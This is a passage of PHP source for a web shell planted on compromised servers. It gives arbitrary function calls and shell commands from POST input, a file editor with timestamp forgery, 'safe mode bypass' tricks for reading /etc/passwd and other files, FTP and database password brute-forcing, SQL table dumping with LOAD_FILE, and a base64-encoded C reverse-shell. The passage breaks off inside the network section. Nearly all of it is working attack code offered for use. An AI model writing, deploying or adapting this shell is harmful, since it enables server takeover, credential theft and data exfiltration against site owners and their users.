699 'HEX to BIN' => 'hex2bin',
700 'DEC to HEX' => 'dechex',
701 'DEC to BIN' => 'decbin',
702 'BIN to HEX' => 'bin2hex',
703 'BIN to DEC' => 'bindec',
704 'String to lower case' => 'strtolower',
705 'String to upper case' => 'strtoupper',
706 'Htmlspecialchars' => 'htmlspecialchars',
707 'String length' => 'strlen',
708 );
709 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
710 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
711 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
712 foreach($stringTools as $k => $v)
713 echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
714 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".htmlspecialchars(@$_POST['p2'])."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
715 if(!empty($_POST['p1'])) {
716 if(function_exists($_POST['p1']))
717 echo htmlspecialchars($_POST['p1']($_POST['p2']));
718 }
719 echo"</pre></div>";
720 ?>
721 <br><h1>Search for hash:</h1><div class=content>
722 <form method='post' target='_blank' name="hf">
723 <input type="text" name="hash" style="width:200px;"><br>
724 <input type="button" value="hashcrack.com" onclick="document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()"><br>
725 <input type="button" value="milw0rm.com" onclick="document.hf.action='http://www.milw0rm.com/cracker/search.php';document.hf.submit()"><br>
726 <input type="button" value="hashcracking.info" onclick="document.hf.action='https://hashcracking.info/index.php';document.hf.submit()"><br>
727 <input type="button" value="md5.rednoize.com" onclick="document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()"><br>
728 <input type="button" value="md5decrypter.com" onclick="document.hf.action='http://www.md5decrypter.com/';document.hf.submit()"><br>
729 </form>
730 </div>
731 <?php
732 printFooter();
733}
734
735function actionFilesTools() {
736 if( isset($_POST['p1']) )
737 $_POST['p1'] = urldecode($_POST['p1']);
738 if(@$_POST['p2']=='download') {
739 if(is_file($_POST['p1']) && is_readable($_POST['p1'])) {
740 ob_start("ob_gzhandler", 4096);
741 header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
742 if (function_exists("mime_content_type")) {
743 $type = @mime_content_type($_POST['p1']);
744 header("Content-Type: ".$type);
745 }
746 $fp = @fopen($_POST['p1'], "r");
747 if($fp) {
748 while(!@feof($fp))
749 echo @fread($fp, 1024);
750 fclose($fp);
751 }
752 } elseif(is_dir($_POST['p1']) && is_readable($_POST['p1'])) {
753
754 }
755 exit;
756 }
757 if( @$_POST['p2'] == 'mkfile' ) {
758 if(!file_exists($_POST['p1'])) {
759 $fp = @fopen($_POST['p1'], 'w');
760 if($fp) {
761 $_POST['p2'] = "edit";
762 fclose($fp);
763 }
764 }
765 }
766 printHeader();
767 echo '<h1>File tools</h1><div class=content>';
768 if( !file_exists(@$_POST['p1']) ) {
769 echo 'File not exists';
770 printFooter();
771 return;
772 }
773 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
774 $gid = @posix_getgrgid(@fileowner($_POST['p1']));
775 echo '<span>Name:</span> '.htmlspecialchars($_POST['p1']).' <span>Size:</span> '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.viewPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
776 echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
777 if( empty($_POST['p2']) )
778 $_POST['p2'] = 'view';
779 if( is_file($_POST['p1']) )
780 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
781 else
782 $m = array('Chmod', 'Rename', 'Touch');
783 foreach($m as $v)
784 echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
785 echo '<br><br>';
786 switch($_POST['p2']) {
787 case 'view':
788 echo '<pre class=ml1>';
789 $fp = @fopen($_POST['p1'], 'r');
790 if($fp) {
791 while( !@feof($fp) )
792 echo htmlspecialchars(@fread($fp, 1024));
793 @fclose($fp);
794 }
795 echo '</pre>';
796 break;
797 case 'highlight':
798 if( is_readable($_POST['p1']) ) {
799 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
800 $code = highlight_file($_POST['p1'],true);
801 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
802 }
803 break;
804 case 'chmod':
805 if( !empty($_POST['p3']) ) {
806 $perms = 0;
807 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
808 $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
809 if(!@chmod($_POST['p1'], $perms))
810 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
811 else
812 die('<script>g(null,null,null,null,"")</script>');
813 }
814 echo '<form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
815 break;
816 case 'edit':
817 if( !is_writable($_POST['p1'])) {
818 echo 'File isn\'t writeable';
819 break;
820 }
821 if( !empty($_POST['p3']) ) {
822 @file_put_contents($_POST['p1'],$_POST['p3']);
823 echo 'Saved!<br><script>document.mf.p3.value="";</script>';
824 }
825 echo '<form onsubmit="g(null,null,null,null,this.text.value);return false;"><textarea name=text class=bigarea>';
826 $fp = @fopen($_POST['p1'], 'r');
827 if($fp) {
828 while( !@feof($fp) )
829 echo htmlspecialchars(@fread($fp, 1024));
830 @fclose($fp);
831 }
832 echo '</textarea><input type=submit value=">>"></form>';
833 break;
834 case 'hexdump':
835 $c = @file_get_contents($_POST['p1']);
836 $n = 0;
837 $h = array('00000000<br>','','');
838 $len = strlen($c);
839 for ($i=0; $i<$len; ++$i) {
840 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
841 switch ( ord($c[$i]) ) {
842 case 0: $h[2] .= ' '; break;
843 case 9: $h[2] .= ' '; break;
844 case 10: $h[2] .= ' '; break;
845 case 13: $h[2] .= ' '; break;
846 default: $h[2] .= $c[$i]; break;
847 }
848 $n++;
849 if ($n == 32) {
850 $n = 0;
851 if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
852 $h[1] .= '<br>';
853 $h[2] .= "\n";
854 }
855 }
856 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
857 break;
858 case 'rename':
859 if( !empty($_POST['p3']) ) {
860 if(!@rename($_POST['p1'], $_POST['p3']))
861 echo 'Can\'t rename!<br><script>document.mf.p3.value="";</script>';
862 else
863 die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
864 }
865 echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
866 break;
867 case 'touch':
868 if( !empty($_POST['p3']) ) {
869 $time = strtotime($_POST['p3']);
870 if($time) {
871 if(@touch($_POST['p1'],$time,$time))
872 die('<script>g(null,null,null,null,"")</script>');
873 else {
874 echo 'Fail!<script>document.mf.p3.value="";</script>';
875 }
876 } else echo 'Bad time format!<script>document.mf.p3.value="";</script>';
877 }
878 echo '<form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
879 break;
880 case 'mkfile':
881
882 break;
883 }
884 echo '</div>';
885 printFooter();
886}
887
888function actionSafeMode() {
889 $temp='';
890 ob_start();
891 switch($_POST['p1']) {
892 case 1:
893 $temp=@tempnam($test, 'cx');
894 if(@copy("compress.zlib://".$_POST['p2'], $temp)){
895 echo @file_get_contents($temp);
896 unlink($temp);
897 } else
898 echo 'Sorry... Can\'t open file';
899 break;
900 case 2:
901 $files = glob($_POST['p2'].'*');
902 if( is_array($files) )
903 foreach ($files as $filename)
904 echo $filename."\n";
905 break;
906 case 3:
907 $ch = curl_init("file://".$_POST['p2']."\x00".SELF_PATH);
908 curl_exec($ch);
909 break;
910 case 4:
911 ini_restore("safe_mode");
912 ini_restore("open_basedir");
913 include($_POST['p2']);
914 break;
915 case 5:
916 for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
917 $uid = @posix_getpwuid($_POST['p2']);
918 if ($uid)
919 echo join(':',$uid)."\n";
920 }
921 break;
922 case 6:
923 if(!function_exists('imap_open'))break;
924 $stream = imap_open($_POST['p2'], "", "");
925 if ($stream == FALSE)
926 break;
927 echo imap_body($stream, 1);
928 imap_close($stream);
929 break;
930 }
931 $temp = ob_get_clean();
932 printHeader();
933 echo '<h1>Safe mode bypass</h1><div class=content>';
934 echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form>';
935 if($temp)
936 echo '<pre class="ml1" style="margin-top:5px" id="Output">'.$temp.'</pre>';
937 echo '</div>';
938 printFooter();
939}
940
941function actionConsole() {
942 if(isset($_POST['ajax'])) {
943 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
944 ob_start();
945 echo "document.cf.cmd.value='';\n";
946 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".ex($_POST['p1']),"\n\r\t\\'\0"));
947 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
948 if(@chdir($match[1])) {
949 $GLOBALS['cwd'] = @getcwd();
950 echo "document.mf.c.value='".$GLOBALS['cwd']."';";
951 }
952 }
953 echo "document.cf.output.value+='".$temp."';";
954 echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
955 $temp = ob_get_clean();
956 echo strlen($temp), "\n", $temp;
957 exit;
958 }
959 printHeader();
960?>
961<script>
962if(window.Event) window.captureEvents(Event.KEYDOWN);
963var cmds = new Array("");
964var cur = 0;
965function kp(e) {
966 var n = (window.Event) ? e.which : e.keyCode;
967 if(n == 38) {
968 cur--;
969 if(cur>=0)
970 document.cf.cmd.value = cmds[cur];
971 else
972 cur++;
973 } else if(n == 40) {
974 cur++;
975 if(cur < cmds.length)
976 document.cf.cmd.value = cmds[cur];
977 else
978 cur--;
979 }
980}
981function add(cmd) {
982 cmds.pop();
983 cmds.push(cmd);
984 cmds.push("");
985 cur = cmds.length-1;
986}
987</script>
988<?php
989 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
990 foreach($GLOBALS['aliases'] as $n => $v) {
991 if($v == '') {
992 echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
993 continue;
994 }
995 echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
996 }
997 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
998 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
999 echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
1000 if(!empty($_POST['p1'])) {
1001 echo htmlspecialchars("$ ".$_POST['p1']."\n".ex($_POST['p1']));
1002 }
1003 echo '</textarea><input type=text name=cmd style="border-top:0;width:100%;margin:0;" onkeydown="kp(event);">';
1004 echo '</form></div><script>document.cf.cmd.focus();</script>';
1005 printFooter();
1006}
1007
1008function actionLogout() {
1009 unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
1010 echo 'bye!';
1011}
1012
1013function actionSelfRemove() {
1014 printHeader();
1015 if($_POST['p1'] == 'yes') {
1016 if(@unlink(SELF_PATH))
1017 die('Shell has been removed');
1018 else
1019 echo 'unlink error!';
1020 }
1021 echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
1022 printFooter();
1023}
1024
1025function actionBruteforce() {
1026 printHeader();
1027 if( isset($_POST['proto']) ) {
1028 echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
1029 if( $_POST['proto'] == 'ftp' ) {
1030 function bruteForce($ip,$port,$login,$pass) {
1031 $fp = @ftp_connect($ip, $port?$port:21);
1032 if(!$fp) return false;
1033 $res = @ftp_login($fp, $login, $pass);
1034 @ftp_close($fp);
1035 return $res;
1036 }
1037 } elseif( $_POST['proto'] == 'mysql' ) {
1038 function bruteForce($ip,$port,$login,$pass) {
1039 $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
1040 @mysql_close($res);
1041 return $res;
1042 }
1043 } elseif( $_POST['proto'] == 'pgsql' ) {
1044 function bruteForce($ip,$port,$login,$pass) {
1045 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=''";
1046 $res = @pg_connect($server[0].':'.$server[1]?$server[1]:5432, $login, $pass);
1047 @pg_close($res);
1048 return $res;
1049 }
1050 }
1051 $success = 0;
1052 $attempts = 0;
1053 $server = explode(":", $_POST['server']);
1054 if($_POST['type'] == 1) {
1055 $temp = @file('/etc/passwd');
1056 if( is_array($temp) )
1057 foreach($temp as $line) {
1058 $line = explode(":", $line);
1059 ++$attempts;
1060 if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
1061 $success++;
1062 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
1063 }
1064 if(@$_POST['reverse']) {
1065 $tmp = "";
1066 for($i=strlen($line[0])-1; $i>=0; --$i)
1067 $tmp .= $line[0][$i];
1068 ++$attempts;
1069 if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
1070 $success++;
1071 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
1072 }
1073 }
1074 }
1075 } elseif($_POST['type'] == 2) {
1076 $temp = @file($_POST['dict']);
1077 if( is_array($temp) )
1078 foreach($temp as $line) {
1079 $line = trim($line);
1080 ++$attempts;
1081 if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
1082 $success++;
1083 echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
1084 }
1085 }
1086 }
1087 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
1088 }
1089 echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
1090 .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
1091 .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
1092 .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
1093 .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
1094 .'<span>Server:port</span></td>'
1095 .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
1096 .'<tr><td><span>Brute type</span></td>'
1097 .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
1098 .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
1099 .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
1100 .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
1101 .'<td><input type=text name=login value="komsen"></td></tr>'
1102 .'<tr><td><span>Dictionary</span></td>'
1103 .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
1104 .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
1105 echo '</div><br>';
1106 printFooter();
1107}
1108
1109function actionSql() {
1110 class DbClass {
1111 var $type;
1112 var $link;
1113 var $res;
1114 function DbClass($type) {
1115 $this->type = $type;
1116 }
1117 function connect($host, $user, $pass, $dbname){
1118 switch($this->type) {
1119 case 'mysql':
1120 if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
1121 break;
1122 case 'pgsql':
1123 $host = explode(':', $host);
1124 if(!$host[1]) $host[1]=5432;
1125 if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
1126 break;
1127 }
1128 return false;
1129 }
1130 function selectdb($db) {
1131 switch($this->type) {
1132 case 'mysql':
1133 if (@mysql_select_db($db))return true;
1134 break;
1135 }
1136 return false;
1137 }
1138 function query($str) {
1139 switch($this->type) {
1140 case 'mysql':
1141 return $this->res = @mysql_query($str);
1142 break;
1143 case 'pgsql':
1144 return $this->res = @pg_query($this->link,$str);
1145 break;
1146 }
1147 return false;
1148 }
1149 function fetch() {
1150 $res = func_num_args()?func_get_arg(0):$this->res;
1151 switch($this->type) {
1152 case 'mysql':
1153 return @mysql_fetch_assoc($res);
1154 break;
1155 case 'pgsql':
1156 return @pg_fetch_assoc($res);
1157 break;
1158 }
1159 return false;
1160 }
1161 function listDbs() {
1162 switch($this->type) {
1163 case 'mysql':
1164 return $this->res = @mysql_list_dbs($this->link);
1165 break;
1166 case 'pgsql':
1167 return $this->res = $this->query("SELECT datname FROM pg_database");
1168 break;
1169 }
1170 return false;
1171 }
1172 function listTables() {
1173 switch($this->type) {
1174 case 'mysql':
1175 return $this->res = $this->query('SHOW TABLES');
1176 break;
1177 case 'pgsql':
1178 return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_user'");
1179 break;
1180 }
1181 return false;
1182 }
1183 function error() {
1184 switch($this->type) {
1185 case 'mysql':
1186 return @mysql_error($this->link);
1187 break;
1188 case 'pgsql':
1189 return @pg_last_error($this->link);
1190 break;
1191 }
1192 return false;
1193 }
1194 function setCharset($str) {
1195 switch($this->type) {
1196 case 'mysql':
1197 if(function_exists('mysql_set_charset'))
1198 return @mysql_set_charset($str, $this->link);
1199 else
1200 $this->query('SET CHARSET '.$str);
1201 break;
1202 case 'mysql':
1203 return @pg_set_client_encoding($this->link, $str);
1204 break;
1205 }
1206 return false;
1207 }
1208 function dump($table) {
1209 switch($this->type) {
1210 case 'mysql':
1211 $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
1212 $create = mysql_fetch_array($res);
1213 echo $create[1].";\n\n";
1214 $this->query('SELECT * FROM `'.$table.'`');
1215 while($item = $this->fetch()) {
1216 $columns = array();
1217 foreach($item as $k=>$v) {
1218 $item[$k] = "'".@mysql_real_escape_string($v)."'";
1219 $columns[] = "`".$k."`";
1220 }
1221 echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1222 }
1223 break;
1224 case 'pgsql':
1225 $this->query('SELECT * FROM '.$table);
1226 while($item = $this->fetch()) {
1227 $columns = array();
1228 foreach($item as $k=>$v) {
1229 $item[$k] = "'".addslashes($v)."'";
1230 $columns[] = $k;
1231 }
1232 echo 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1233 }
1234 break;
1235 }
1236 return false;
1237 }
1238 };
1239 $db = new DbClass($_POST['type']);
1240 if(@$_POST['p2']=='download') {
1241 ob_start("ob_gzhandler", 4096);
1242 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1243 $db->selectdb($_POST['sql_base']);
1244 header("Content-Disposition: attachment; filename=dump.sql");
1245 header("Content-Type: text/plain");
1246 foreach($_POST['tbl'] as $v)
1247 $db->dump($v);
1248 exit;
1249 }
1250 printHeader();
1251 ?>
1252 <h1>Sql browser</h1><div class=content>
1253 <form name="sf" method="post">
1254 <table cellpadding="2" cellspacing="0">
1255 <tr>
1256 <td>Type</td>
1257 <td>Host</td>
1258 <td>Login</td>
1259 <td>Password</td>
1260 <td>Database</td>
1261 <td></td>
1262 </tr>
1263 <tr>
1264 <input type=hidden name=a value=Sql>
1265 <input type=hidden name=p1 value='query'>
1266 <input type=hidden name=p2>
1267 <input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd']);?>'>
1268 <input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
1269 <td>
1270 <select name='type'>
1271 <option value="mysql" <?php if(@$_POST['type']=='mysql')echo 'selected';?>>MySql</option>
1272 <option value="pgsql" <?php if(@$_POST['type']=='pgsql')echo 'selected';?>>PostgreSql</option>
1273 </select></td>
1274 <td><input type=text name=sql_host value='<?=(empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host']));?>'></td>
1275 <td><input type=text name=sql_login value='<?=(empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login']));?>'></td>
1276 <td><input type=text name=sql_pass value='<?=(empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass']));?>'></td>
1277 <td>
1278 <?php
1279 $tmp = "<input type=text name=sql_base value=''>";
1280 if(isset($_POST['sql_host'])){
1281 if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1282 switch($_POST['charset']) {
1283 case "Windows-1251": $db->setCharset('cp1251'); break;
1284 case "UTF-8": $db->setCharset('utf8'); break;
1285 case "KOI8-R": $db->setCharset('koi8r'); break;
1286 case "KOI8-U": $db->setCharset('koi8u'); break;
1287 case "cp866": $db->setCharset('cp866'); break;
1288 }
1289 $db->listDbs();
1290 echo "<select name=sql_base><option value=''></option>";
1291 while($item = $db->fetch()) {
1292 list($key, $value) = each($item);
1293 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
1294 }
1295 echo '</select>';
1296 }
1297 else echo $tmp;
1298 }else
1299 echo $tmp;
1300 ?></td>
1301 <td><input type=submit value=">>"></td>
1302 </tr>
1303 </table>
1304 <script>
1305 function st(t,l) {
1306 document.sf.p1.value = 'select';
1307 document.sf.p2.value = t;
1308 if(l!=null)document.sf.p3.value = l;
1309 document.sf.submit();
1310 }
1311 function is() {
1312 for(i=0;i<document.sf.elements['tbl[]'].length;++i)
1313 document.sf.elements['tbl[]'][i].checked = !document.sf.elements['tbl[]'][i].checked;
1314 }
1315 </script>
1316 <?php
1317 if(isset($db) && $db->link){
1318 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1319 if(!empty($_POST['sql_base'])){
1320 $db->selectdb($_POST['sql_base']);
1321 echo "<tr><td width=1 style='border-top:2px solid #666;border-right:2px solid #666;'><span>Tables:</span><br><br>";
1322 $tbls_res = $db->listTables();
1323 while($item = $db->fetch($tbls_res)) {
1324 list($key, $value) = each($item);
1325 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
1326 $value = htmlspecialchars($value);
1327 echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."')\">".$value."</a> (".$n['n'].")</nobr><br>";
1328 }
1329 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:2px solid #666;'>";
1330 if(@$_POST['p1'] == 'select') {
1331 $_POST['p1'] = 'query';
1332 $db->query('SELECT COUNT(*) as n FROM '.$_POST['p2'].'');
1333 $num = $db->fetch();
1334 $num = $num['n'];
1335 echo "<span>".$_POST['p2']."</span> ($num) ";
1336 for($i=0;$i<($num/30);$i++)
1337 if($i != (int)$_POST['p3'])
1338 echo "<a href='#' onclick='st(\"".$_POST['p2']."\", $i)'>",($i+1),"</a> ";
1339 else
1340 echo ($i+1)," ";
1341 if($_POST['type']=='pgsql')
1342 $_POST['p3'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
1343 else
1344 $_POST['p3'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
1345 echo "<br><br>";
1346 }
1347 if((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) {
1348 $db->query(@$_POST['p3']);
1349 if($db->res !== false) {
1350 $title = false;
1351 echo '<table width=100% cellspacing=0 cellpadding=2 class=main>';
1352 $line = 1;
1353 while($item = $db->fetch()) {
1354 if(!$title) {
1355 echo '<tr>';
1356 foreach($item as $key => $value)
1357 echo '<th>'.$key.'</th>';
1358 reset($item);
1359 $title=true;
1360 echo '</tr><tr>';
1361 $line = 2;
1362 }
1363 echo '<tr class="l'.$line.'">';
1364 $line = $line==1?2:1;
1365 foreach($item as $key => $value) {
1366 if($value == null)
1367 echo '<td><i>null</i></td>';
1368 else
1369 echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
1370 }
1371 echo '</tr>';
1372 }
1373 echo '</table>';
1374 } else {
1375 echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
1376 }
1377 }
1378 echo "<br><textarea name='p3' style='width:100%;height:100px'>".@htmlspecialchars($_POST['p3'])."</textarea><br/><input type=submit value='Execute'>";
1379 echo "</td></tr>";
1380 }
1381 echo "</table></form><br/><form onsubmit='document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1382 if(@$_POST['p1'] == 'loadfile') {
1383 $db->query("SELECT LOAD_FILE('".addslashes($_POST['p2'])."') as file");
1384 $file = $db->fetch();
1385 echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
1386 }
1387 }
1388 echo '</div>';
1389 printFooter();
1390}
1391function actionNetwork() {
1392 printHeader();
1393 $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpb
1394
1395NCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
